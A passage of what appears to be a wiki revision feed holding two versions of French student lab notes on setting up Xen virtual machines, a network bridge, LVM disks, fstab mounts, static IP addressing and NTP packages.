iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11451</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11451"/>
		<updated>2026-01-27T13:33:38Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
</feed>